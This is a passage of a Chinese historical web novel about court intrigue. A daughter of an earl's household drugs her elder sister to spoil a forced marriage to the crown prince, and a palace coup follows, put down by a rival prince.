商明惠近日月事在身,胃口不是很好,没想到这点也能引来七妹妹的关怀,听说点翠端了一碗梅花汤饼过来,便心生好奇,走到餐桌前。 看着所谓梅花汤饼,其实只是一碗白面汤,她微微发愣,但还是坐了下来。 点翠将豆豉酱往前推了推,眨巴眼睛道:“吃汤饼要配酱,天下一绝,四娘子快尝尝。” 凭着对七妹妹手艺的信任,商明惠用竹箸夹起一点尝了一口,仔细品味,嗯,味道一般。 可能七妹妹只擅长做甜品,而不擅长做羹汤吧。 “四娘子你慢慢吃,我家娘子还有其他的酱,你可以都尝尝,等会,我家娘子马上就来了。” 点翠目光往外瞧,心中焦急,面上诚恳地叮嘱。 终于,商凝语走进梨棠院,点翠急忙跑去开门,话不多问,只看娘子的脸色就知晓事情办成了。 商凝语将竹筒打开,放在商明惠面前,并将豆豉酱拿走,道:“尝这个,阿爹最喜欢的一种口味,我觉得姐姐你也会很喜欢。” 商明惠闻言,神色微顿。 云锦拿来一个小碟,将酱料全部倒出,量不多,几口就能吃完,商明惠尝了一口,眉目舒展地点了点头。 她取笑道:“赶明儿你若是不能留在京都,就将你的庖厨方子留一份给我,我给你在京都开一家酒楼,赚的银子全算你的,我就留口吃的。” “那多好啊,我前几日才知道,这京都的物价是真贵啊。”商凝语欣喜道。 恰在这时,院子外传来动静,商明菁在喊:“四姐姐在吗?” 商凝语心中一惊,连忙道:“四姐姐你快吃,点翠,你和云锦去瞧瞧。” 说罢,给点翠使了个眼色,点翠会意,拽着云锦出去,商明惠觉得酸辣酱十分合口味,就着酱料将最后一口面汤都喝了。 商凝语放下心,商明菁闯进屋子,环顾一周,目光凝向桌子上的碗碟,她怀疑地看了一眼商凝语,冷笑道:“你天天整这个讨好她,不是憋着什么坏吧?” 商凝语冷了脸,道:“心中有佛,看人即佛,心中有屎,看人即屎,你别以为人人都和你一样。” 自从上次在国公府,商凝语将她那点心思公之于众,程珊珊虽然当时原谅了她,但事后再也没联系过她,而且,与太子的那点心思被商三爷点破之后,贺氏就在娘家侄儿中为她挑了一个夫婿,这个夫婿,那可是与太子相差十万里,她的名声,算是在京都贵女圈中彻底没了。 “你!”商明菁气结,“你俩不是一个娘胎里出来的,装什么姐妹情深?” 商凝语好奇了,“跟你有什么干系?你吃饱了撑的在这里叫嚣,我早跟你说过吧?叫你别惹我,否则,我豁出去叫你后悔,你现在还来惹我,是觉得先前我还击你的还不够?” 云娇连忙拉住商明菁,附在她耳边提醒,商明菁这才回神,忍了怒,僵硬道:“我也不是来寻你麻烦的,只是听祖母说你厨艺不错,今晚又给四姐姐做了顿菜,所以过来瞧瞧,还有没有?我正好饿了,能给我也来一碗吗?” 商凝语面上镇定,“要吃你应该直接去后厨,这里已经没了。” “都吃完了?”商明菁目光看向桌面,双眉微皱,眼神一会看看商明惠,一会看看碗碟。 商明惠面露不满,吩咐道:“云锦,将东西都收了。” “是。”云锦应声,点翠连忙上前帮忙,商明惠顺势又道:“罢了,你们都回吧,云锦,我累了,服侍我更衣。” 商凝语微愣,但此刻为了防止引起商明菁怀疑,自是应当先走为妙,待众人都离去,云锦吩咐嬷嬷关了院门回来,就见商明惠满头大汗,伏在被衾上。 “娘子,你怎么了?”云锦大惊失色,连忙掉头,就要去唤人,却被商明惠叫住,“别去。” 云锦伏回床边,咬牙道:“是七娘子,她在面里下毒?” 商明惠捧着腹部,微微摇头,“先不要伸张,你去问我爹,我要怎么做。” 三爷?三爷! 云锦咬紧腮帮,眼泪夺眶而出,却还是应了声:“好,我这就去。”说罢,跑了出去—— 作者有话说:“心中有佛,看人即佛,心中有屎,看人即屎。”话糙理不糙,苏东坡的至理名言。 第68章 商三爷只给了云锦一个字, “等。” 翌日一早,忠勤伯府阖府上下都知道四娘子起了一种奇怪的病症,满脸红疹, 高烧不退,已经晕厥过去, 起初老伯爷想压着消息不让消息传至府外,可半日不到,宫里就派了御医前来替商四娘诊治, 国公府老太君也派了儿媳王氏过府探望。 两位御医轮番上前, 望闻问切后,走到一旁私语,合计之后,对商三爷惋惜道:“脉象洪急,如沸水翻涌,邪热炽盛, 重按之下, 又显局促之象,此乃热毒闭窍引发的险症, 这是中毒之兆,恕我等医术不精,行医多年,从未见过如此奇毒, 不敢说一定能解毒, 但可一试。” 商凝语听了, 心中一紧,拿了两位御医开的药方,亲自去后厨煎药, 半途中,少不得遇见幸灾乐祸的商明菁前来问责。 王氏吩咐几句,便风风火火地闯进了观鹤堂,对着老夫人一通客气。 “惠姐儿乃是我家老太君的心头肉,老太君一听闻此事,就立刻吩咐我前来探望,老夫人莫怪,老太君并非责怪府上照顾不周的意思,上次,我家昭昭来府上做客,说老夫人在四娘子院中安排了侍女监视,老太君还骂了她一顿,道是老夫人心疼她这个表姐,赏个侍女下来伺候,叫她不得胡言乱语。” “我也是心疼这个孩子,惠姐儿她娘是个不可多得的好姑子,我就怕做得不够好,她娘泉下有知会怪罪于我,这孩子可怜,自幼没娘,爹又不愿照顾,一去就是十几年,老太君抱在膝下当宝贝养着,没想到会出这种事。” “我说这些,老夫人也别往心里去,只是老太君不放心,待惠姐儿好些之后,想将惠姐儿接回我府上休养,不知老夫人可否同意?” 依照王氏的意思,正好趁此机会,将惠姐儿的命直接与国公府挂上钩,再将此事闹大,不管是谁给惠姐儿下的毒,总归是忠勤伯府照顾不周,有此借口便可彻底与忠勤伯府决裂。 当年圣上赐婚给惠姐儿,便是为了借国公府的势力稳住太子,眼下国公爷和老太君的意思已经明了,哪怕现如今禹王和太子两党争斗进入白热化,国公府也只效忠圣上,不会因为姻亲就投靠任何一方。 既然惠姐儿已经没有那么重要,若是再与忠勤伯府断绝来往,她也就能彻底与太子撇清干系。 再者,惠姐儿此番毁容,或许圣上也会怜惜一点太子的颜面,等过了婚期,此后恐怕再也想不起来这个未过门的儿媳妇。 坐在主位上的老夫人面冷如霜,陪坐一旁的贺氏和田氏满脸尴尬,田氏率先堆出笑容,道:“亲家舅母别担心,都是我照顾不周,才让惠姐儿遭人毒害,我是我,对不住姐姐。” 王氏轻视地扫一眼过去,道:“三夫人别说这话,我担不起这声舅母。” 田氏本就犯怵,这下彻底如耷拉脑袋的鹌鹑,没了声儿,贺氏还能说上几句,道:“我定会彻查下去,查出是谁给惠姐儿下毒,给老太君一个交代。” 也被王氏怼回去,“眼下凶手是谁,都不重要了,重要的是惠姐儿毁了容,这亲事也做不成,你们还能不能护得住她。” 贺氏顿时哑口。 谁也不知道宫里得了御医的回禀,会决定如何。 何为护?是圣上悔婚,伯府进宫讨要说法叫护,还是圣上坚持让惠姐儿进宫,而伯府不忍看着惠姐儿以残躯侍君,请求圣上收回成命叫护? 前者是伯府没那个能耐,后者叫伯府如何甘心?伯府爵位到夫君这一代就结束了,可她膝下还有两个儿子呢。 老夫人气得心口疼,颤颤巍巍地吩咐长媳服侍自己去休息,田氏单独面对王氏,如坐针毡,王氏也不想为难她,喝完一盏茶水,就回府向婆母禀信去了。 回到府中,老太君将她训斥了一顿,“打断根骨连着筋,你叫惠姐儿与她爹断绝关系,不是叫她成孤家寡人吗?” 王氏顿时里外不是人,心中那个憋屈无法言表。 老太君叹了口气,道:“她爹这次能做到这个份上,你往后就不要再说这种话,我知你的心意,但是去是留,还是要让惠姐儿自己做主,好坏,都是她的命。” 得知老妻被气得犯病,待国公府的人都离去,老伯爷商佑德将三子叫到书房,商父身影刚出现在门前,一道白色光影迎面飞来,他早有准备,侧身避开。 白瓷玉瓶直接飞入院中,碎在石阶下。 商父平静地走进屋内,站在中央,覆手而立,商佑德见他那无所顾忌的模样,气得手捂胸口,瘫倒在太师椅。 商大伯随后赶来,赶紧劝父亲息怒,又瞧了眼亲弟弟,话到嘴边,梗了半响,终是“唉”地一声叹息。 对这个三子,老伯爷还是知道他的七寸在哪里的,商佑德指着门外,吩咐长子,“去,叫管家给我将七娘绑起来,扔到柴房里,不准任何人给她送吃送喝。” 商大伯看了眼三弟,不敢忤逆父亲,应声就要前去,却被商晏竹移动步子挡住了去路,他平静道:“父亲敢抓人,明日全京城的人都得知道,忠勤伯府的女儿内讧不止,手足相残。” “你敢威胁老夫?”老伯爷不可置信。 商大伯猛地睁大眼睛,“三弟?你这是不孝!” 商晏竹便又淡然补上一句,“伯府的名声里再多这一个也不是不可。” 砰!砰!砰! 商佑德气红了眼,拍得桌子轰轰直颤,“行,你去说,老夫就当没有生过你这么个忤逆的儿子!你快去说,你不去,我就将他们母子三个全部乱棍打死!” “爹!”商大伯两头兼顾不得,背上都冒出了冷汗,“三弟,你胡说什么呢?你自幼饱读圣贤书,怎可如此忤逆长辈?又怎能如此将名声当作儿戏?还不快与父亲认错!” 商晏竹双拳握紧,终是低下头,道:“是孩儿不孝,请父亲息怒。” 商佑德望着自己最寄予厚望的爱子,终于明白,十多年分离,并未让他向世俗妥协,反而令他的脊梁更加挺直。 他缓了口气,道:“你听听今日国公夫人的口气,你娘都叫她气出病来了,什么叫派人监视惠姐儿?若非防着你,你娘还至于把手伸到自家孙女的院中?你们都是好样的,你们一家人齐心协力,将你父母兄嫂全部当贼一样防着,你看看这还像是一家人吗?惠姐儿是圣上赐婚,不是我们逼着的!你这样做,就不怕得罪圣上,直接给家里带来杀身之祸?” 商晏竹闭口不言。 商大伯看着三弟,眼中流露出苦涩。 商佑德舒了口气,仰头望天,沟壑纵横的脸上爬上一丝颓丧,许久,缓声问道:“是我不中用了,你就这么确定,太子一定不行?” 见父亲这般,商晏竹心中浮上一缕不忍,解释道:“朝局瞬息万变,儿子无法预料。儿子只是不喜太子,不愿收这样的女婿。” 商佑德讥讽一笑,“堂堂太子,国之储君,竟遭你嫌弃。” 商晏竹再次闭嘴。 商大伯劝道:“事已至此,多说无益,爹,不如就依三弟的,先度过眼前这关。” 商佑德还能怎么办?三子狠起心来都能给发妻留下的独女下毒,还能拿他怎么办?难道真的强行将惠姐儿送进东宫,不顾商家百年清誉任他胡来? 最终,伯府只打了一天的雷,未下一滴雨,倒叫商凝语煎完了药,在梨棠院担惊受怕了一整日,入夜时分,商晏竹过来寻她。 “你无需担心,此药并非无解,只先让她昏睡几个时辰,然后会身体虚弱一段时日,以后会慢慢好转。”室内,商晏竹轻声说给商凝语听,也是说给安静无声实则对外界有感知的商明惠听。 商凝语担心:“会不会留下伤疤?” 虽然知晓父亲会把握分寸,但谁能确定万无一失?得知商明惠晕厥不醒时,她吓了一跳,当时脑海中滑过各种猜想。 听到父亲这般说,她稍稍放了心,却还是免不了担心会留下后遗症。 商晏竹犹豫了片刻,道:“会渐渐恢复的。” 商凝语一颗心顿时沉入海底。 商晏竹忽然问:“你是怎么知道我要给你姐姐下药?” “啊?”商凝语猛地一惊,支支吾吾起来,“我,我不知道啊,爹,是你给姐姐下的药?” 回应给她的是商父的一记冷笑,不过,商晏竹也没追问,只催她:“时候不早,你先回去休息,明日再来。” 商凝语心虚瑟缩一下,却还是坚持,“不,阿爹你先回去,我想今晚给四姐姐守夜。” 商晏竹也拿她没办法,只好先行回去。 云锦去柜子里翻出两床被褥,抱出来放在软榻上,口气很冷淡:“这是你们今夜睡的褥子,梨棠院接待不起贵客,烦请七娘子将就将就。” “好,多谢。”商凝语拉住心续不平的点翠,道谢。 云锦撇开脸去,她要打水来给主子擦把脸,掀开珠帘时,身形顿住,须臾,转过头来,硬邦邦道:“我知道七娘子是好意,但是,我家娘子要是毁了容,我不会放过你。” 商凝语回视她:“不会的。”阿爹不会这样做。 第69章 第二日, 商明惠醒了过来,宫里传来帝妃二人口谕,其中内容不外乎一通关照, 叮嘱商四娘好好休息,勿要胡思乱想。 不等商府人松口气, 没过几日,京城,变天了。 除夕夜, 举国同庆的大喜日子, 朝中几位肱骨重臣受诏入宫,进了宫之后却没见到宣德帝,而是见到手捧黄绸的乔贵妃,紫宸殿内,乔贵妃华丽转身,命心腹宣读诏书, 大体内容便是“朕而今治国力不从心, 决定退位让贤,将江山交由贤德的太子管理, 众位臣工须尽心尽力辅佐太子,方不负朕之重托。” 几位肱骨重臣又岂非等闲之辈,一未见着宣德帝,二未见到大监洪公公, 如何肯信?立刻提出要见圣上一面, 可惜转身之际, 才发现宫门反锁,再回过神,大殿两侧已经布列两队兵甲, 各个披坚执锐。 性情刚正的王御史只斥责了一句“牝鸡司晨”,将乔贵妃虚伪的容貌揭露开,下一刻,血溅三尺,令众臣胆寒。 夤夜子时,依附皇城一侧的护国寺内,小沙弥撞响了新年钟声,驱邪祈福的钟声轰轰如雷,在城中一圈圈荡开。 官府烟花冲上云霄,在空中齐鸣,火树银花照亮了整片夜空,民间百姓欢笑不断,热闹喧阗,街头巷尾,灯火煌煌。 紫宸殿内的重臣们透过琉璃窗,看着漫天绚烂,心如死灰。 烟花悉数垂落,渐渐地,隐隐有嘈杂声传来,由远及近,里面夹杂着震天的喊杀声,在众人目露疑惑时,空中再次燃起烟花,訇然乍响在耳边。 众臣耳边一阵轰隆,待回过神,猛然欣喜。 众人皆知,是禹王殿下来了,群臣开始激愤。 “禹王殿下,禹王殿下!” “禹王殿下洪福齐天,太子赵曦以下犯上,乔氏一党必遭天谴!” 宫门既破,兵卒们如潮水般,汹涌而入,喊杀震天,为首之人,正是有着悍名在外,有震慑西北之功效的禹王殿下。 只见其一身戎装,目光炯炯,身上银白盔甲早已沾满了血迹,在万千兵马前,依旧浴血奋战,宫内已经彻底乱了,宫人四处乱跑,宫墙内到处血流成河。 天将亮未亮时,整个皇城才终于彻底安静了。 赵寰行至宣德帝寝殿门前,脱下被血迹染红的战袍,递给战战兢兢服侍的内侍,而后步履沉稳地跨进殿内,宣德帝躺在床上,饮下最后一口汤药,苍白的脸稍显红润。 见到他,宣德帝挥了挥手,洪庆山端着药碗,躬身退下。 赵寰行礼后,言道:“太子伏诛,乔氏一派全部被抓,无一逃生,听候父皇处置。” “好,”宣德帝缓出一口气,须臾,道,“你做的很好,不过,还漏了最后一条鱼,把赵曦给我叫过来,其他人,你全部亲自料理了。” 赵寰目光微动,舌尖抵住上颚,迟疑了一瞬,才应下声。 不一会儿,昔日太子赵曦,一身狼狈地被两名侍卫带到寝殿内,看到躺在床上的父君,他跪爬过去,口中求饶:“父皇,儿臣知错了,求父皇饶恕儿臣这一回,儿臣下次再也不敢了。” 宣德帝背靠迎枕,洪庆山伺候一旁,眉眼低垂,眼角便瞧见宣德帝抚上太子赵曦的手背,安抚似的拍了拍。 缓缓道:“你别怕,朕不会杀你。” 赵曦眼睛一亮,潸然泪下,伏在床边,便后怕地哭了起来。 少顷,宣德帝淡淡掀起眼皮,洪庆山立刻领会,朝殿门口招了一下手,不一会儿,一名内侍端着热水进来,他上前去拉赵曦,“殿下,老奴服侍您净面。” 赵曦忙抹去泪痕,道:“父皇,是儿臣失态。” 宣德帝微微颔首。 见状,赵曦终于放下心,走到金色瓷盆前,洗手净面,整理好面容后,内侍退去,洪庆山继续守在一旁。 赵曦重新跪在塌下,羞惭道:“儿臣自知罪孽深重,父皇罚儿臣去守皇陵吧,儿臣保证这辈子都不会再踏进皇城一步,请父皇和二弟放心。” 宣德帝流露出一丝欣慰的表情,道:“不急,朕时日不多,你暂且就留在京中,再多陪我几日。” “父皇。”赵曦面露欣喜,又瞬间热泪上涌,愧疚更是如海浪汹涌而来。 然而,下一瞬,他又听到宣德帝说道:“趁着这几日,将你还有一桩婚事给办了,到时候,带着你的两位夫人,一同去皇陵在朕跟前尽孝。” 赵曦面上一愕。 宣德帝目光微抬,“怎么,你不愿?” 赵曦连续眨了两次眼,方明白其中之意,双唇颤动,嘴角扬起了一丝自嘲。 他似乎想控制情绪,却终是没能忍住,露出了一张似哭似笑、悲喜莫名的脸。 有一瞬,他很想大声质问,宣泄、怒吼,然而,望着那位德高望重的父皇,在触及这位帝王眼中深意时,千言万语又瞬间凝结在脑海中母妃的精致面容上。 眼泪从面颊上滑落,牙关咬碎了脸上的恨意,他轻轻地开口:“好,儿臣就最后再顺从父皇一次。” 言罢,他身上的胆怯顷刻消失,恭恭敬敬地对着龙床叩了三首,畅意道:“儿臣在此,预祝父皇洪福齐天,寿与天齐,万事如意;祝二弟如父皇所愿,扫荡八荒,将来成为前无古人后无来者的一代圣君,开疆拓土,德被苍生,受万民景仰,永固山河。” 不等宣德帝开口,便起身,大踏步地离去。 宣德帝双目赤红,愤怒地瞪着他,一口鲜血从口中喷出- 于万千皇城脚下的百姓而言,宫变发生得太过突然,但好在禹王早有准备,进城救援及时,皇城内血流成河,但京都城内的百姓伤亡并不惨重。 商凝语一觉醒来,从田氏口中得知,太子已经被软禁了,褫夺太子封号,降为宁平王,乔贵妃于昨夜畏罪自杀,乔家极其党羽悉数被抓,顿时一阵唏嘘。 就在她沉浸在商明惠和太子婚约已经形同虚设、伯府即将解除危机的喜悦里,宫里突然再次传来口谕。 道宁平王自请前往皇陵,为先祖守灵,只是心中唯一放心不下已经毁容的忠勤伯府四娘子,圣上念在他最后一点孝心上,允了他这个请求,着令元月初八,忠勤伯府将商明惠送进宫中。 犹如一道晴天霹雳,降在忠勤伯府的上方,宣旨大监方一离去,老伯爷犹如顷刻间老去了十岁,垂头丧气地领着两个儿子回到书房议事。 彼时,商凝语正陪在商明惠身边,听闻点翠传回大监口中旨意,愣了数息,在屋内来来回回走了几圈,依旧想不明白。 “为什么?为什么圣上会下这种旨意?”商凝语满脸疑问,这不得不令人怀疑,圣上是有意要置商明惠乃至伯府于死地。 相较而言,面上蒙纱的商明惠,要平静很多,很久以前,她就有预感,圣上赐婚,并不仅仅是为了平衡两党之间的纷争,眼下,这种感觉更加强烈了。 向来冲动的云锦,冲到多宝格前,商明惠眉头微皱,喊:“云锦,你要做什么?” 云锦从格子里拿出一把雕刻简陋的匕首,一声轻响,宝刀出鞘,从罅隙中照射出一抹寒光,她眼神坚韧,“我去杀了他。” 商凝语大惊,连忙上前去夺刀,云锦一人难敌四手,在没有章法的纠缠里被商凝语一把甩开,点翠将刀抱在怀里,躲得远远的。 云锦看着她,说:“你把刀还给我。” 点翠被她的模样吓到,连连后退,商凝语劝慰:“云锦,你别着急,我们再想办法。” “七娘子,你不要再异想天开了。”云锦眼神犀利,“我很感激你能替我家娘子着想,但我知道你已经尽力了,这件事不怪你,我也不会意气用事,只不过,谁都休想染指娘子分毫。你们放心,将来的路如何走,那也是在离开伯府之后的事,我和娘子不会拖累你们。” “云锦!”商明惠怒斥。 “云锦?”商凝语面色发白,愣愣地看着她,点翠怒火上涌,被她及时制止了,“点翠,闭嘴。” 商明惠揉了揉额头,叹道:“七妹,云锦口不择言,你别听她胡说。” 商凝语摇头,眼眶微润,她眨巴两下眼,调整了心态,道:“此事确实是我考虑不周,我没想到有人会这么无耻。”明明在这之前,赵曦对商明惠只有礼遇,从无半点情分可言,无论如何也想不到,他会突然对已经毁容的商明惠产生一丝怜惜。 她竟然,弄巧成拙了。 “呦,这就哭上了?”商明菁出现在门口,满脸堆笑地睨了眼商凝语,眼神在姐妹二人身上扫了个来回。 “真是畅快啊,堂堂准太子侧妃,一夜沦为笑柄,什么国公府外甥女,什么京都第一才女,从今往后,都只是伯府的耻辱。” “你来做什么?”云锦站在商凝语身前,朝外怒喝,“人呢?五娘子进来,为何不前来禀报?” 庭院中,一名侍女哆哆嗦嗦地跪饶,“我,我拦不住。” “五娘子果然威风,但是梨棠院从来不是可以撒野的地方。”云锦冷笑一声,从头上拔下唯一的簪子,指向门外,道:“都走!” 银色的簪尾,尖锐锋利,发出耀眼的白光,不知何时,她将一件饰物制作成了一件工具。 商明菁看着距离自己面容不过咫尺的簪尖,心生忌惮,哼了一声,转身离开屋子,商凝语朝商明惠道:“四姐姐好好休息,我明日再来看你。” 商明惠点头,商凝语看一眼云锦,抿着嘴离开。 庭院楼檐,四处挂起了红灯笼,新年的喜气尚未散去,但梨棠院陷入了前所未有的冷清。 第70章 商明菁等在从梨棠院离开的石径, 商凝语一路走过来,目不斜视,却被她拦住。 “你过来, 我有话要对你说。”商明菁下巴高抬,朝她示意。 点翠拉住商凝语, “娘子,咱不听她胡说八道,走。” 点翠担心娘子被欺负, 这个节骨眼再生事端, 娘子都讨不着好。 她声音不小,商明菁听到之后,回过头来,定定地看了眼商凝语,商凝语思索片刻,依旧跟了上去。 几人走到四下无人的影壁后, 商凝语道:“五姐姐想说什么?” 商明菁拘着脸, 看向旁侧,硬邦邦地道:“我外祖母答应我娘, 明日去拜年,我和哥哥们就随表哥一道出城,你,要不要一起?” 事情发生得太过突然且意外, 商凝语瞪大了眼睛, 须臾, 问:“为什么?” 商明菁眉头一皱,道:“你不是说我没给你留余地吗?我现在给你留,你接是不接?” 商凝语面上流露出瞬间的恍然, 那是数月之前的事了,商明菁在祖母面前揭她的短,要她做人留有余地,她反唇相讥,对商明菁一顿冷嘲热讽。 商凝语忽然心头一热,眼眶再次湿润,却很快被寒风凝干,她舔舐了一下干裂的嘴唇,道:“不了,多谢五姐姐,祝你一路顺风。” 商明菁顿时气急,压着嗓子道:“你干什么?你不会不知道商明惠进了东宫意味着什么吧?” “我知道,”商凝语回了一句,“但是我不能跟你们一起走,人多眼杂,贺家表兄带上你们三个已经很不容易,再多上我就更难走了,更何况,我想和我爹娘还有商凝言一起,他们不走,我也不走。” 说完,她自己都被捋顺了,轻轻一笑,“你们走吧。” 商明菁被她说得也有些迟疑,犹豫片刻,问:“你不会还想回去救她吧?” 看清商凝言面上坚定的神色,顿时惊呼:“你疯了?那是东宫!你别给自己搭进去。” “你少咒我一点,我就没那么多事了。”说完,商凝语又补充,“你再多说一个字,我就把你们的计划告诉我阿爹去,让你想走也走不了。” 商明菁无语,“我这是好意,你还有没有良心?” 商凝语自己也被逗笑了,连笑两声。 回京以来,因商明菁压在心头的郁气在这一刻烟消云散。 她好声道:“你放心走吧,我不会胡来,以前是我话说得太过分了,你别介意。” 见状,商明菁也知晓了她的坚持,深深吐出一口气,妥协:“行吧,你自己保重。” 说完,就觉得没意思,别人根本不领你的情,呼哧呼哧转身就走。 然而,走到一半,又有一句话到了嘴边,不吐不快,她转过身来,对即将离去的商凝语道:“你也别介意,她的婚事不是你做主,也不是你导致的。” 商凝语微微一愣,道:“谢谢。”- 初二的夜里,商晏竹从外面回来,对田氏叮嘱了几句,田氏才知晓,长房三个子女已经秘密逃出京城,顿时惊愕住。 随即又被商晏竹的话震得眼泪夺眶,她一把攥住丈夫的衣袖,“不行,我不会带着孩子丢下你一个人走。” 商晏竹知她一时难以接受,拉着她细哄。 初五,伯府去国公府给拜年,作为即将进宫的新嫁娘,商明惠衣衫整齐,随父亲继母带着弟弟妹妹,坐着两辆马车离开伯府。 国公府新年喜气盛浓,来了不少客人,几人用过午膳后,启程回返伯府。 谁也没有注意到,在车马经过其中一条巷子时,另一辆与忠勤伯府一模一样的马车同样转入巷道。 不多时,两辆车马回到府中,商明惠掀开车帘,在商父的陪同下,回到梨棠院- 新年尹始,就接连下了几日的大雪,京城数十里外,往南走,依旧寒冷,马车离开京城已经行走了一天一夜。 夤夜风凉,夜半子时,来福客栈。 商凝语提前醒来,她猛地睁开眼,刚硬的床板,没有一丝香气的衾帐,令她立刻意识到,此刻已经不在兰馨院的寝房内。 “点翠。”她轻声喊。 点翠惊醒,从地铺上爬了起来,小心道:“娘子,你醒了。” 商凝语微微松了口气,并未质问,而是淡淡询问:“这是哪里?” 点翠未开灯,伏到床边,低落道:“夫人带着我们逃出城了,虬三叔驾车,我也不知道走了多远,但方向是去岭南没错。” 虬三是商晏竹的心腹,身负武艺,在岭南就跟随在商晏竹身边,商凝语的三脚猫功夫有一部分就是跟他学的。 商凝语知道父亲不会跟来,下床要走,却被点翠拦住,“三爷叮嘱婢子,要照顾好你和夫人。” 商凝语一把抓住她的胳膊,“你留下照顾我娘,记得给商凝言的药再下重些,点翠,你做得很好,现在也不要拦我。” 点翠潸然泪下,良久,抹了泪道:“虬三叔在后院马棚里守着,你要走,就先去前面的庄子里借一匹骡子。” 一炷香后,夜色沉沉,商凝语在一个民妇手中买下一匹骡子往回赶,天明时分,金鸡啼鸣,终于又在集市上用身上的首饰换了一匹马。 却在进城的那一刻,被已经因平叛有功提升为南城兵马司指挥使的江昱瞧见。 远远见到她,江昱面色一沉,立刻走下城墙,身上赤红色的氅衣在空中划出一道凌厉的弧线。 商凝语扫了一眼那抹赤色,便冲进了城门,可惜乡下的马品种不好,纵使她骑术精湛,在进入城门的刹那依旧被突如其来的身影困在了马背上,紧接着,一道赤幕兜头砸下。 融融暖意顷刻包围,她眼前一片漆黑,鼻间闻到了一股熟悉的味道。 “别动。”江昱沉怒。 商凝语只挣扎了一瞬,就不敢再动,她也知晓,自从商明菁几人离京后,上面就对伯府盯紧了,此刻回城确实有些莽撞。 只小声问:“我四姐姐进宫了吗?” “没有。”仅有两个字,掌心却十分用力地将人再推进怀中几分,仿佛想用这种方式,叫她闭嘴。 而后,又兀自道:“伯府勾结叛党的罪名还没找到,你爹也没事。” 商凝语感觉自己的腰都快要被箍断了,但她得到了想要的讯息,心满意足的闭上嘴,不再多言半个字。 用额头面容正对着别人胸前,会让人感到心理上的不适,她微微侧过头,不料,耳边传来沉重而有节奏的心跳声,如一声声钟鼓敲响在耳蜗里。 在一个男人的怀里,这是多么危险的事,动过一次就够了,不能再动第二次。 她屏气凝神,一路忍耐。 江昱进了一条人烟稀少的窄巷,扔下马,将商凝语一路带到巷子深处。 白雪皑皑的四方小院内,她手里团着滚着玄色云纹的大红氅衣,脚步慌乱。 直至江昱觉得安全了,方才放开她,商凝语走得气喘吁吁,将鹤氅一把扔进他怀里,“拿着。” 太重了! 江昱眼神扫过她身上厚重的斗篷,轻笑一声,接过鹤氅,重新穿回身上。 虽然见到她感到开心,但转眼,江昱收了心思,沉声问:“你回来做什么?” 商凝语开口便是:“你能帮我进宫吗?” 她一路数着,今日正是商明惠进宫的日子。 江昱气笑了,“进宫做什么?觉得伯府赔进去一个女儿不够,要再送一个进去?” 商凝语蹙眉:“你说话能不能别这么难听?” 江昱拿指尖戳她脑门,顶得她直退,一下子撞在南墙上,“你还有心思教训我,有种你别做这种让我难看的事,我真想看看你脑子里想什么。” 商凝语自知理亏,被他困在墙角也没动怒,解释道:“是我害了四姐姐,我必须得去救她。” 江昱神色一凝,惊问:“药是你下的?” 商凝语也不瞒他,点头,“我会一点厨艺,四姐姐喜欢吃我的东西,没有防备。” 说着,多日隐忍像是开了闸,眼泪夺眶而出,一滴,两滴,两只手轮番上阵也擦不干净。 她哭着说:“四姐姐原来根本就不用进宫,是我多管闲事害了四姐姐,所以我必须去,哪怕四姐姐去守皇陵,我也必须跟着去,否则,我这辈子都不会好过了。” 江昱眼睛酸涩,轻忽一笑,“原来你是担心自己不会好过,这还不简单,你嫁给我,凭我的人脉,你完全可以疏通皇陵那边的关系,没人会为难你四姐姐。” 商凝语看着他,眼泪还挂在面上,嘴唇却紧紧抿上,眼神凝肃。 江昱连忙投降,“开个玩笑,别生气。” 商凝语垂下眼睑,抹了最后一滴泪,情绪恢复,道:“你如果帮不上就算了,就当我没说。”说罢,微一点头,转身就欲从他身侧绕开。 江昱也敛了笑意,将她推了回去,肃容道:“这不是你的错,如果你没下药,圣上的旨意就会是宁平王与商四娘姻缘早定,宁平王不舍商四娘孤身在外,婚期照旧,结果是一样的。” 商凝语微微一愕。 江昱不欲多说,道:“我先给你找个地方藏起来,等风声过了,我再送你回岭南。” 见他再次伸手过来,商凝语猛地回神。 一方面,明白了江昱不会帮她进宫,另一方面,察觉到此刻自身处境有点危险。 她双手往后一缩,道:“不行,你如果不帮我,我回伯府便是,我知道,宁平王失势,圣上肯定要追查伯府是否参与叛乱一事,可是我阿爹既然能把大伯的官职弄没了,其他的证据肯定也就弄干净了,我没关系的,我要回家。”《 》 70-80 第71章 江昱目光沉凝, “你以为我要干什么?将你软禁起来?” 商凝语一时没控制住,眉眼狂眨,心虚的模样, 不言而喻。 都怪自己方才开的玩笑太过了。 江昱轻呼一口气,道:“我没这个意思, 否则,你娘那日不会能带你兄妹二人出城。” 那可能真的是误会了。 商凝语面颊染红,“那你能送我回府吗?我担心我爹。” 江昱耐心解释:“宁平王叛乱一事, 并非你想的这么简单, 伯府未来如何,还要看圣上的意思,你爹现在没事,你如果不想留下来,我现在派人送你出城去追你娘,好不好?” 他虽然是询问的意思, 商凝语却不敢大意, 心思急速运转,皇宫, 她是必须要去的,她必须要找到商明惠。 “好,不过,我娘肯定担心我爹, 我爹向来不愿舍弃我们, 这次没有随我们一起出城, 肯定是想了办法要救我四姐姐,你知道他的办法对不对?我不去,你告诉我他的计划, 让我安心行不行?” 她语气哀求且诚恳,一扫从前拿捏人的姿态。 江昱还真的知道商三爷的计划,商三爷找到他,要他助他们母子三人出城,不,在这更早之前,他就猜到了他们的计划。 江昱心想,她大约也是真的没辙了,才这般低三下四地求人,心头一软,顿时撤了心防。 “宫里容许陪嫁八名侍女,其中一名侍女与你姐姐有五六分相似,不过,你姐姐眼下毁容,她稍作装扮就能演出八成。赵曦并非真心爱慕你姐姐,大约也不会进洞房,如此就更难发现不对。宫里眼下混乱尚未理顺,趁着管事对人员不熟的空档,只要你姐姐今夜子时逃到东南侧的咸安门,就会有人接应她。你这回能放心了吧?” 商凝语放心了,咸安门在哪她不知道,但是皇城的东南侧,可不就在国子监的西北方向,那一块,她熟! 打定了注意,就是要怎么甩开眼前的人。 商凝语乖觉地点头,“那好吧,麻烦你派人送我出城,我有了消息,也好与阿娘有个交代。” 江昱就猜到她是私逃回来的,这下,见她连回去的说辞都想好了,更加信了她的话,笑了笑,转身,“走吧。” 商凝语瞅准了四周,行至一个巷道里的三岔口,她忽然停住脚,江昱没有听到脚步声,转身看来,却见她满脸酸涩,似乎有话要说。 他眉目一动,彻底转过面正对着她,问:“怎么了?” 商凝语后退一步,道:“你的心意,我都知道了,但是有些话,我也必须对你说清楚。” 